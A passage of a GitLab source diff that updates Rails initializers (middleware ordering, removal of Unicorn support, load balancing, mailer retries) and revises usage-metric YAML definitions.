new file mode 100644
index 00000000000..9aad1e3f92b
--- /dev/null
+++ b/config/initializers/6_labkit_middleware.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+# partial backport of https://github.com/rails/rails/pull/38169
+# this is in order to be able to re-order rack middlewares.
+
+unless Rails::Configuration::MiddlewareStackProxy.method_defined?(:move)
+ module Rails
+ module Configuration
+ class MiddlewareStackProxy
+ def move(*args, &block)
+ @operations << ->(middleware) { middleware.send(__method__, *args, &block) }
+ end
+ ruby2_keywords(:move) if respond_to?(:ruby2_keywords, true)
+ end
+ end
+ end
+end
+
+Rails.application.config.middleware.move(1, ActionDispatch::RequestId)
+Rails.application.config.middleware.insert(1, Labkit::Middleware::Rack)
diff --git a/config/initializers/7_prometheus_metrics.rb b/config/initializers/7_prometheus_metrics.rb
index a304f861db8..8dee21016f9 100644
--- a/config/initializers/7_prometheus_metrics.rb
+++ b/config/initializers/7_prometheus_metrics.rb
@@ -8,8 +8,6 @@ def prometheus_default_multiproc_dir
if Gitlab::Runtime.sidekiq?
Rails.root.join('tmp/prometheus_multiproc_dir/sidekiq')
- elsif Gitlab::Runtime.unicorn?
- Rails.root.join('tmp/prometheus_multiproc_dir/unicorn')
elsif Gitlab::Runtime.puma?
Rails.root.join('tmp/prometheus_multiproc_dir/puma')
else
@@ -29,7 +27,7 @@ end
Gitlab::Application.configure do |config|
# 0 should be Sentry to catch errors in this middleware
- config.middleware.insert(1, Gitlab::Metrics::RequestsRackMiddleware)
+ config.middleware.insert_after(Labkit::Middleware::Rack, Gitlab::Metrics::RequestsRackMiddleware)
end
Sidekiq.configure_server do |config|
@@ -49,9 +47,7 @@ if !Rails.env.test? && Gitlab::Metrics.prometheus_metrics_enabled?
::Prometheus::Client.reinitialize_on_pid_change(force: true)
- if Gitlab::Runtime.unicorn?
- Gitlab::Metrics::Samplers::UnicornSampler.instance(Settings.monitoring.unicorn_sampler_interval).start
- elsif Gitlab::Runtime.puma?
+ if Gitlab::Runtime.puma?
Gitlab::Metrics::Samplers::PumaSampler.instance.start
end
diff --git a/config/initializers/7_redis.rb b/config/initializers/7_redis.rb
index a6025a6dbf0..fe37dfd7579 100644
--- a/config/initializers/7_redis.rb
+++ b/config/initializers/7_redis.rb
@@ -8,3 +8,4 @@
Gitlab::Redis::Cache.with { nil }
Gitlab::Redis::Queues.with { nil }
Gitlab::Redis::SharedState.with { nil }
+Gitlab::Redis::TraceChunks.with { nil }
diff --git a/config/initializers/action_dispatch_journey_formatter.rb b/config/initializers/action_dispatch_journey_formatter.rb
deleted file mode 100644
index 108fb2e5012..00000000000
--- a/config/initializers/action_dispatch_journey_formatter.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-# TODO: Eliminate this file when https://github.com/rails/rails/pull/38184 is released.
-# Cleanup issue: https://gitlab.com/gitlab-org/gitlab/issues/195841
-ActionDispatch::Journey::Formatter.prepend(Gitlab::Patch::ActionDispatchJourneyFormatter)
-
-module ActionDispatch
- module Journey
- module Path
- class Pattern
- def requirements_for_missing_keys_check
- @requirements_for_missing_keys_check ||= requirements.transform_values do |regex|
- /\A#{regex}\Z/
- end
- end
- end
- end
- end
-end
diff --git a/config/initializers/action_view.rb b/config/initializers/action_view.rb
new file mode 100644
index 00000000000..76171733483
--- /dev/null
+++ b/config/initializers/action_view.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+# This file was introduced during upgrading Rails from 5.2 to 6.0.
+# This file can be removed when `config.load_defaults 6.0` is introduced.
+
+# Don't force requests from old versions of IE to be UTF-8 encoded.
+Rails.application.config.action_view.default_enforce_utf8 = false
diff --git a/config/initializers/active_record_keyset_pagination.rb b/config/initializers/active_record_keyset_pagination.rb
new file mode 100644
index 00000000000..f8c2ada5255
--- /dev/null
+++ b/config/initializers/active_record_keyset_pagination.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module PaginatorExtension
+ # This method loads the records for the requested page and returns a keyset paginator object.
+ def keyset_paginate(cursor: nil, per_page: 20)
+ Gitlab::Pagination::Keyset::Paginator.new(scope: self.dup, cursor: cursor, per_page: per_page)
+ end
+end
+
+ActiveSupport.on_load(:active_record) do
+ ActiveRecord::Relation.include(PaginatorExtension)
+end
diff --git a/config/initializers/active_record_ping.rb b/config/initializers/active_record_ping.rb
deleted file mode 100644
index 7088c690a51..00000000000
--- a/config/initializers/active_record_ping.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-# # frozen_string_literal: true
-
-if Gitlab::Utils.to_boolean(ENV['ENABLE_ACTIVERECORD_EMPTY_PING'], default: true)
- ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.prepend(Gitlab::Database::PostgresqlAdapter::EmptyQueryPing)
-end
diff --git a/config/initializers/active_record_postgresql_adapter.rb b/config/initializers/active_record_postgresql_adapter.rb
new file mode 100644
index 00000000000..14bc7153f44
--- /dev/null
+++ b/config/initializers/active_record_postgresql_adapter.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+if Gitlab::Utils.to_boolean(ENV['ENABLE_ACTIVERECORD_EMPTY_PING'], default: true)
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.prepend(Gitlab::Database::PostgresqlAdapter::EmptyQueryPing)
+end
+
+if Gitlab::Utils.to_boolean(ENV['ENABLE_ACTIVERECORD_TYPEMAP_CACHE'], default: true)
+ ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.prepend(Gitlab::Database::PostgresqlAdapter::TypeMapCache)
+end
diff --git a/config/initializers/cluster_events_before_phased_restart.rb b/config/initializers/cluster_events_before_phased_restart.rb
index d029adbe363..f84682c1436 100644
--- a/config/initializers/cluster_events_before_phased_restart.rb
+++ b/config/initializers/cluster_events_before_phased_restart.rb
@@ -7,8 +7,6 @@
#
# Follow-up the issue: https://gitlab.com/gitlab-org/gitlab/issues/34107
-if Gitlab::Runtime.puma?
- Puma::Cluster.prepend(::Gitlab::Cluster::Mixins::PumaCluster)
-elsif Gitlab::Runtime.unicorn?
- Unicorn::HttpServer.prepend(::Gitlab::Cluster::Mixins::UnicornHttpServer)
-end
+return unless Gitlab::Runtime.puma?
+
+Puma::Cluster.prepend(::Gitlab::Cluster::Mixins::PumaCluster)
diff --git a/config/initializers/flipper.rb b/config/initializers/flipper.rb
new file mode 100644
index 00000000000..be4f01f537d
--- /dev/null
+++ b/config/initializers/flipper.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+Rails.application.configure do
+ config.flipper.preload = false
+ config.flipper.memoizer = false
+end
diff --git a/config/initializers/gitlab_experiment.rb b/config/initializers/gitlab_experiment.rb
index a312755f300..055979bb66b 100644
--- a/config/initializers/gitlab_experiment.rb
+++ b/config/initializers/gitlab_experiment.rb
@@ -5,4 +5,13 @@ Gitlab::Experiment.configure do |config|
config.cache = Gitlab::Experiment::Cache::RedisHashStore.new(
pool: ->(&block) { Gitlab::Redis::SharedState.with { |redis| block.call(redis) } }
)
+
+ # TODO: This will be deprecated as of v0.6.0, but needs to stay intact for
+ # actively running experiments until a versioning concept is put in place to
+ # enable migrating into the new SHA2 strategy.
+ config.context_hash_strategy = lambda do |source, seed|
+ source = source.keys + source.values if source.is_a?(Hash)
+ data = Array(source).map { |v| (v.respond_to?(:to_global_id) ? v.to_global_id : v).to_s }
+ Digest::MD5.hexdigest(data.unshift(seed).join('|'))
+ end
end
diff --git a/config/initializers/global_id.rb b/config/initializers/global_id.rb
new file mode 100644
index 00000000000..8f1b8f2aeeb
--- /dev/null
+++ b/config/initializers/global_id.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+GlobalID.prepend(Gitlab::Patch::GlobalID)
diff --git a/config/initializers/hangouts_chat_http_override.rb b/config/initializers/hangouts_chat_http_override.rb
index edb31ed53f1..42ffb6f78e1 100644
--- a/config/initializers/hangouts_chat_http_override.rb
+++ b/config/initializers/hangouts_chat_http_override.rb
@@ -1,28 +1,3 @@
# frozen_string_literal: true
-module HangoutsChat
- class Sender
- class HTTP
- module GitlabHTTPOverride
- extend ::Gitlab::Utils::Override
-
- attr_reader :uri
-
- # see https://github.com/enzinia/hangouts-chat/blob/6a509f61a56e757f8f417578b393b94423831ff7/lib/hangouts_chat/http.rb
- override :post
- def post(payload)
- httparty_response = Gitlab::HTTP.post(
- uri,
- body: payload.to_json,
- headers: { 'Content-Type' => 'application/json' },
- parse: nil # disables automatic response parsing
- )
- httparty_response.response
- # The rest of the integration expects a Net::HTTP response
- end
- end
-
- prepend GitlabHTTPOverride
- end
- end
-end
+HangoutsChat::Sender::HTTP.prepend(Gitlab::Patch::HangoutsChatHTTPOverride)
diff --git a/config/initializers/labkit_middleware.rb b/config/initializers/labkit_middleware.rb
deleted file mode 100644
index 748666b6cd7..00000000000
--- a/config/initializers/labkit_middleware.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-# partial backport of https://github.com/rails/rails/pull/38169
-# this is in order to be able to re-order rack middlewares.
-
-if ActionDispatch::MiddlewareStack.method_defined?(:move)
- warn "`move` is now defined in in ActionDispatch itself: https://github.com/rails/rails/pull/38169, please remove this patch from #{__FILE__}"
-else
- module ActionDispatch
- class MiddlewareStack
- def move(target, source)
- source_index = assert_index(source, :before)
- source_middleware = middlewares.delete_at(source_index)
-
- target_index = assert_index(target, :before)
- middlewares.insert(target_index, source_middleware)
- end
- end
- end
-end
-
-unless Rails::Configuration::MiddlewareStackProxy.method_defined?(:move)
- module Rails
- module Configuration
- class MiddlewareStackProxy
- def move(*args, &block)
- @operations << ->(middleware) { middleware.send(__method__, *args, &block) }
- end
- ruby2_keywords(:move) if respond_to?(:ruby2_keywords, true)
- end
- end
- end
-end
-
-Rails.application.config.middleware.move(1, ActionDispatch::RequestId)
-Rails.application.config.middleware.insert_after(ActionDispatch::RequestId, Labkit::Middleware::Rack)
diff --git a/config/initializers/load_balancing.rb b/config/initializers/load_balancing.rb
index 7502a6299ae..f3c977893ba 100644
--- a/config/initializers/load_balancing.rb
+++ b/config/initializers/load_balancing.rb
@@ -1,25 +1,21 @@
# frozen_string_literal: true
-# We need to run this initializer after migrations are done so it doesn't fail on CI
+if Gitlab::Database::LoadBalancing.enable?
+ Gitlab::Database.disable_prepared_statements
-Gitlab.ee do
- if Gitlab::Database.cached_table_exists?('licenses')
- if Gitlab::Database::LoadBalancing.enable?
- Gitlab::Database.disable_prepared_statements
-
- Gitlab::Application.configure do |config|
- config.middleware.use(Gitlab::Database::LoadBalancing::RackMiddleware)
- end
+ Gitlab::Application.configure do |config|
+ config.middleware.use(Gitlab::Database::LoadBalancing::RackMiddleware)
+ end
- Gitlab::Database::LoadBalancing.configure_proxy
+ Gitlab::Database::LoadBalancing.configure_proxy
- # This needs to be executed after fork of clustered processes
- Gitlab::Cluster::LifecycleEvents.on_worker_start do
- # Service discovery must be started after configuring the proxy, as service
- # discovery depends on this.
- Gitlab::Database::LoadBalancing.start_service_discovery
- end
+ # This needs to be executed after fork of clustered processes
+ Gitlab::Cluster::LifecycleEvents.on_worker_start do
+ # For Host-based LB, we need to re-connect as Rails discards connections on fork
+ Gitlab::Database::LoadBalancing.configure_proxy
- end
+ # Service discovery must be started after configuring the proxy, as service
+ # discovery depends on this.
+ Gitlab::Database::LoadBalancing.start_service_discovery
end
end
diff --git a/config/initializers/macos.rb b/config/initializers/macos.rb
index f410af6ed47..1edd6c0a730 100644
--- a/config/initializers/macos.rb
+++ b/config/initializers/macos.rb
@@ -5,7 +5,7 @@ if /darwin/ =~ RUBY_PLATFORM
require 'fiddle'
# Dynamically load Foundation.framework, ~implicitly~ initialising
- # the Objective-C runtime before any forking happens in Unicorn
+ # the Objective-C runtime before any forking happens in webserver
#
# From https://bugs.ruby-lang.org/issues/14009
Fiddle.dlopen '/System/Library/Frameworks/Foundation.framework/Foundation'
diff --git a/config/initializers/mailer_retries.rb b/config/initializers/mailer_retries.rb
new file mode 100644
index 00000000000..64fb0ffaa55
--- /dev/null
+++ b/config/initializers/mailer_retries.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+class ActiveJob::QueueAdapters::SidekiqAdapter
+ # With Sidekiq 6, we can do something like:
+ # class ActionMailer::MailDeliveryJob
+ # sidekiq_options retry: 3
+ # end
+ #
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/329430
+ raise "Update this monkey patch: #{__FILE__}" unless Sidekiq::VERSION == '5.2.9'
+
+ def enqueue(job) #:nodoc:
+ # Sidekiq::Client does not support symbols as keys
+ job.provider_job_id = Sidekiq::Client.push \
+ "class" => JobWrapper,
+ "wrapped" => job.class.to_s,
+ "queue" => job.queue_name,
+ "args" => [job.serialize],
+ "retry" => retry_for(job)
+ end
+
+ def enqueue_at(job, timestamp) #:nodoc:
+ job.provider_job_id = Sidekiq::Client.push \
+ "class" => JobWrapper,
+ "wrapped" => job.class.to_s,
+ "queue" => job.queue_name,
+ "args" => [job.serialize],
+ "at" => timestamp,
+ "retry" => retry_for(job)
+ end
+
+ private
+
+ def retry_for(job)
+ if job.queue_name == 'mailers'
+ 3
+ else
+ true
+ end
+ end
+end
diff --git a/config/initializers/peek.rb b/config/initializers/peek.rb
index 85bfc4f0214..6fd92865731 100644
--- a/config/initializers/peek.rb
+++ b/config/initializers/peek.rb
@@ -15,9 +15,15 @@ Peek.into Peek::Views::Elasticsearch
Peek.into Peek::Views::Rugged
Peek.into Peek::Views::ExternalHttp
Peek.into Peek::Views::BulletDetailed if defined?(Bullet)
+Peek.into Peek::Views::Memory
Peek.into Peek::Views::Tracing if Labkit::Tracing.tracing_url_enabled?
+# Trigger view creation here, since views might be subscribing to Rails notifications
+# via setup_subscribers, which is called in the initializer.
+# See https://github.com/peek/peek/blob/master/lib/peek/views/view.rb
+Peek.views
+
ActiveSupport::Notifications.subscribe('endpoint_run.grape') do |_name, _start, _finish, _id, payload|
if request_id = payload[:env]['action_dispatch.request_id']
Peek.adapter.save(request_id)
diff --git a/config/initializers/puma_client_tempfile_patch.rb b/config/initializers/puma_client_tempfile_patch.rb
deleted file mode 100644
index 972eeaf0c83..00000000000
--- a/config/initializers/puma_client_tempfile_patch.rb
+++ /dev/null
@@ -1,101 +0,0 @@
-# frozen_string_literal: true
-
-if Gitlab::Runtime.puma?
- # This patch represents https://github.com/puma/puma/pull/2613. If
- # this PR is accepted in the next Puma release, we can remove this
- # entire file.
- #
- # The patch itself is quite large because the tempfile creation in
- # Puma is inside these fairly long methods. The actual changes are
- # just two lines, commented with 'GitLab' to make them easier to find.
- raise "Remove this monkey patch: #{__FILE__}" unless Puma::Const::VERSION == '5.1.1'
-
- module Puma
- class Client
- private
-
- def setup_body
- @body_read_start = Process.clock_gettime(Process::CLOCK_MONOTONIC, :millisecond)
-
- if @env[HTTP_EXPECT] == CONTINUE
- # TODO allow a hook here to check the headers before
- # going forward
- @io << HTTP_11_100
- @io.flush
- end
-
- @read_header = false
-
- body = @parser.body
-
- te = @env[TRANSFER_ENCODING2]
-
- if te
- if te.include?(",")
- te.split(",").each do |part|
- if CHUNKED.casecmp(part.strip) == 0 # rubocop:disable Metrics/BlockNesting
- return setup_chunked_body(body)
- end
- end
- elsif CHUNKED.casecmp(te) == 0
- return setup_chunked_body(body)
- end
- end
-
- @chunked_body = false
-
- cl = @env[CONTENT_LENGTH]
-
- unless cl
- @buffer = body.empty? ? nil : body
- @body = EmptyBody
- set_ready
- return true
- end
-
- remain = cl.to_i - body.bytesize
-
- if remain <= 0
- @body = StringIO.new(body)
- @buffer = nil
- set_ready
- return true
- end
-
- if remain > MAX_BODY
- @body = Tempfile.new(Const::PUMA_TMP_BASE)
- @body.binmode
- @body.unlink # GitLab: this is the changed part
- @tempfile = @body
- else
- # The body[0,0] trick is to get an empty string in the same
- # encoding as body.
- @body = StringIO.new body[0,0] # rubocop:disable Layout/SpaceAfterComma
- end
-
- @body.write body
-
- @body_remain = remain
-
- return false # rubocop:disable Style/RedundantReturn
- end
-
- def setup_chunked_body(body)
- @chunked_body = true
- @partial_part_left = 0
- @prev_chunk = ""
-
- @body = Tempfile.new(Const::PUMA_TMP_BASE)
- @body.binmode
- @body.unlink # GitLab: this is the changed part
- @tempfile = @body
- @chunked_content_length = 0
-
- if decode_chunk(body)
- @env[CONTENT_LENGTH] = @chunked_content_length
- return true # rubocop:disable Style/RedundantReturn
- end
- end
- end
- end
-end
diff --git a/config/initializers/rack_timeout.rb b/config/initializers/rack_timeout.rb
index e217398ee7d..d5027cae08d 100644
--- a/config/initializers/rack_timeout.rb
+++ b/config/initializers/rack_timeout.rb
@@ -1,6 +1,5 @@
# frozen_string_literal: true
-# Unicorn terminates any request which runs longer than 60 seconds.
# Puma doesn't have any timeout mechanism for terminating long-running
# requests, to make sure that server is not paralyzed by long-running
# or stuck queries, we add a request timeout which terminates the
diff --git a/config/initializers/rbtrace.rb b/config/initializers/rbtrace.rb
index 6a1b71bf4bd..2359fc9f6b5 100644
--- a/config/initializers/rbtrace.rb
+++ b/config/initializers/rbtrace.rb
@@ -2,8 +2,8 @@
if ENV['ENABLE_RBTRACE']
Gitlab::Cluster::LifecycleEvents.on_worker_start do
- # Unicorn clears out signals before it forks, so rbtrace won't work
- # unless it is enabled after the fork.
+ # We need to require `rbtrace` in a context of a worker process.
+ # See https://github.com/tmm1/rbtrace/issues/56#issuecomment-648683596.
require 'rbtrace'
end
end
diff --git a/config/initializers/tracing.rb b/config/initializers/tracing.rb
index 3f066953c23..10b59a9e3d8 100644
--- a/config/initializers/tracing.rb
+++ b/config/initializers/tracing.rb
@@ -15,7 +15,7 @@ if Labkit::Tracing.enabled?
Labkit::Tracing::Rails::ActionViewSubscriber.instrument
Labkit::Tracing::Rails::ActiveSupportSubscriber.instrument
- # In multi-processed clustered architectures (puma, unicorn) don't
+ # In multi-processed clustered architectures (e.g. Puma cluster) don't
# start tracing until the worker processes are spawned. This works
# around issues when the opentracing implementation spawns threads
Gitlab::Cluster::LifecycleEvents.on_worker_start do
diff --git a/config/initializers_before_autoloader/000_inflections.rb b/config/initializers_before_autoloader/000_inflections.rb
index de8f79b9a29..39905adf390 100644
--- a/config/initializers_before_autoloader/000_inflections.rb
+++ b/config/initializers_before_autoloader/000_inflections.rb
@@ -23,6 +23,7 @@ ActiveSupport::Inflector.inflections do |inflect|
group_wiki_repository_registry
job_artifact_registry
lfs_object_registry
+ merge_request_diff_registry
package_file_registry
pipeline_artifact_registry
project_auto_devops
diff --git a/config/metrics/aggregates/code_review.yml b/config/metrics/aggregates/code_review.yml
index e1f30777612..c002bd88b7d 100644
--- a/config/metrics/aggregates/code_review.yml
+++ b/config/metrics/aggregates/code_review.yml
@@ -52,6 +52,7 @@
- 'i_code_review_user_reviewers_changed'
- 'i_code_review_user_milestone_changed'
- 'i_code_review_user_labels_changed'
+ - 'i_code_review_click_diff_view_setting'
- 'i_code_review_click_single_file_mode_setting'
- 'i_code_review_click_file_browser_setting'
- 'i_code_review_click_whitespace_setting'
@@ -63,6 +64,8 @@
- 'i_code_review_diff_hide_whitespace'
- 'i_code_review_diff_single_file'
- 'i_code_review_diff_multiple_files'
+ - 'i_code_review_user_load_conflict_ui'
+ - 'i_code_review_user_resolve_conflict'
- name: code_review_category_monthly_active_users
operator: OR
feature_flag: usage_data_code_review_aggregation
@@ -107,6 +110,7 @@
- 'i_code_review_user_reviewers_changed'
- 'i_code_review_user_milestone_changed'
- 'i_code_review_user_labels_changed'
+ - 'i_code_review_click_diff_view_setting'
- 'i_code_review_click_single_file_mode_setting'
- 'i_code_review_click_file_browser_setting'
- 'i_code_review_click_whitespace_setting'
@@ -118,6 +122,8 @@
- 'i_code_review_diff_hide_whitespace'
- 'i_code_review_diff_single_file'
- 'i_code_review_diff_multiple_files'
+ - 'i_code_review_user_load_conflict_ui'
+ - 'i_code_review_user_resolve_conflict'
- name: code_review_extension_category_monthly_active_users
operator: OR
feature_flag: usage_data_code_review_aggregation
diff --git a/config/metrics/counts_28d/20210216175542_ci_builds.yml b/config/metrics/counts_28d/20210216175542_ci_builds.yml
index 0f3d384937c..b14eda69786 100644
--- a/config/metrics/counts_28d/20210216175542_ci_builds.yml
+++ b/config/metrics/counts_28d/20210216175542_ci_builds.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage_monthly.verify.ci_builds
description: Unique monthly builds in project
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml b/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
index bc0a2051097..d2cda411e05 100644
--- a/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage_monthly.verify.ci_external_pipelines
description: Total pipelines in external repositories in a month
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-
diff --git a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
index d04419aebfc..8046f9f3fd0 100644
--- a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage_monthly.verify.ci_internal_pipelines
description: Total pipelines in GitLab repositories in a month
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml b/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
index c89d4804607..a24e8038a62 100644
--- a/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
+++ b/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage_monthly.verify.ci_pipeline_config_repository
description: Total Monthly Pipelines from templates in repository
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml b/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
index cfea6f49eb5..7a878a5ac1e 100644
--- a/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage_monthly.verify.ci_pipeline_schedules
description: Total monthly Pipeline schedules in GitLab
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_28d/20210216175554_ci_pipelines.yml b/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
index 55b0250bbbd..19276843af1 100644
--- a/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage_monthly.verify.ci_pipelines
description: "Distinct users triggering pipelines in a month"
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_28d/20210216175556_ci_triggers.yml b/config/metrics/counts_28d/20210216175556_ci_triggers.yml
index 7a06e45b4e4..81be64c5207 100644
--- a/config/metrics/counts_28d/20210216175556_ci_triggers.yml
+++ b/config/metrics/counts_28d/20210216175556_ci_triggers.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage_monthly.verify.ci_triggers
description: Total configured Triggers in project
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_28d/20210216180308_personal_snippets.yml b/config/metrics/counts_28d/20210216180308_personal_snippets.yml
index 691907be1d6..f38ccc5280d 100644
--- a/config/metrics/counts_28d/20210216180308_personal_snippets.yml
+++ b/config/metrics/counts_28d/20210216180308_personal_snippets.yml
@@ -1,6 +1,6 @@
---
key_path: counts_monthly.personal_snippets
-description: Monthly count of Personal Snippets
+description: Monthly count of personal Snippets
product_section: dev
product_stage: create
product_group: group::editor
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216180310_project_snippets.yml b/config/metrics/counts_28d/20210216180310_project_snippets.yml
index 5703fb29678..2c397a3150e 100644
--- a/config/metrics/counts_28d/20210216180310_project_snippets.yml
+++ b/config/metrics/counts_28d/20210216180310_project_snippets.yml
@@ -1,6 +1,6 @@
---
key_path: counts_monthly.project_snippets
-description: Monthly count of Project Snippets
+description: Monthly count of project Snippets
product_section: dev
product_stage: create
product_group: group::editor
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216180312_snippets.yml b/config/metrics/counts_28d/20210216180312_snippets.yml
index b132575dad7..00498c8ad0a 100644
--- a/config/metrics/counts_28d/20210216180312_snippets.yml
+++ b/config/metrics/counts_28d/20210216180312_snippets.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216180317_snippets.yml b/config/metrics/counts_28d/20210216180317_snippets.yml
index fc2ba339313..0e36236b80d 100644
--- a/config/metrics/counts_28d/20210216180317_snippets.yml
+++ b/config/metrics/counts_28d/20210216180317_snippets.yml
@@ -1,6 +1,7 @@
---
key_path: usage_activity_by_stage_monthly.create.snippets
-description: Monthly Snippets
+name: count_distinct_author_id_from_snippets
+description: Count of distinct author_id from snippets for last 28 days
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +9,7 @@ product_category: snippets
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml b/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml
index 3a7b7f71051..3143da2317f 100644
--- a/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml
+++ b/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml
@@ -1,6 +1,6 @@
---
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_web_ide_edit
-description: Count unique edit actions using the web IDE
+description: Number of users editing using web IDE
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,9 +8,11 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml b/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml
index 6a0fd1da84c..b9a06a05a5a 100644
--- a/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml
+++ b/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml
@@ -1,6 +1,6 @@
---
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_sfe_edit
-description: Count unique edit actions using the single file editor
+description: Number of users using single file editor
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,9 +8,11 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml b/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml
index 11ab783f52a..6fec0659d47 100644
--- a/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml
+++ b/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_snippet_editor_edit
-description: Count unique edit actions using the snippet editor
+description: Number of users using the snippet editor
product_section: dev
product_stage: create
product_group: group::editor
-product_category: web_ide
+product_category: snippets
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml b/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml
index 3d7c3cb4066..86cb28d7237 100644
--- a/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml
+++ b/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_sse_edit
-description: Count unique edit actions using the static site editor
+description: Number of users using the static site editor
product_section: dev
product_stage: create
product_group: group::editor
-product_category: web_ide
+product_category: static_site_editor
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml b/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml
index e31bf71d455..bf71c3aa9f0 100644
--- a/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml
